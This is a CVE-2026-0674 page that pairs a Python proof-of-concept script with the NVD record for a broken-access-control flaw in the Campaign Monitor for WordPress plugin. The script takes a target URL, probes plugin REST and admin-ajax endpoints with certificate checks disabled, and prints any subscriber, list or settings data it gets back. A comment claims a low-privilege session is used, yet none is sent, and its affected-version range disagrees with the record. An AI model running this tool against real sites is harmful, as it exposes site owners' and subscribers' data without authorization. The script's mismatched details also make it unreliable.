CVE-2026-0674

import requests import sys # CVE-2026-0674 PoC - Campaign Monitor for WordPress Broken Access Control # Target: WordPress site with Campaign Monitor plugin < 2.9.1 def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2026-0674""" endpoints = [ '/wp-json/campaign-monitor/v1/settings', '/wp-json/campaign-monitor/v1/subscribers', '/wp-json/campaign-monitor/v1/lists', '/wp-admin/admin-ajax.php?action=cm_get_lists', '/wp-admin/admin-ajax.php?action=cm_get_subscribers' ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2026-0674: Missing Authorization in Campaign Monitor for WordPress") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: # Low-privilege user session (e.g., subscriber role) response = requests.get(url, timeout=10, verify=False) # Check if unauthorized access is possible if response.status_code == 200 and 'application/json' in response.headers.get('Content-Type', ''): print(f"[+] VULNERABLE: {endpoint}") print(f" Status: {response.status_code}") print(f" Response preview: {response.text[:200]}...") elif response.status_code == 200: print(f"[!] POTENTIAL: {endpoint} - Returns data without auth check") else: print(f"[-] Protected: {endpoint} - Status: {response.status_code}") except requests.RequestException as e: print(f"[!] Error testing {endpoint}: {e}") if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target)

{"cve": {"id": "CVE-2026-0674", "sourceIdentifier": "[email protected]", "published": "2026-01-08T10:15:54.910", "lastModified": "2026-05-11T14:16:30.200", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Campaign Monitor Campaign Monitor for WordPress allows Exploiting Incorrectly Configured Access Control Security Levels.\n\nThis issue affects Campaign Monitor for WordPress: from n/a through 2.9.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/forms-for-campaign-monitor/vulnerability/wordpress-campaign-monitor-for-wordpress-plugin-2-9-0-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}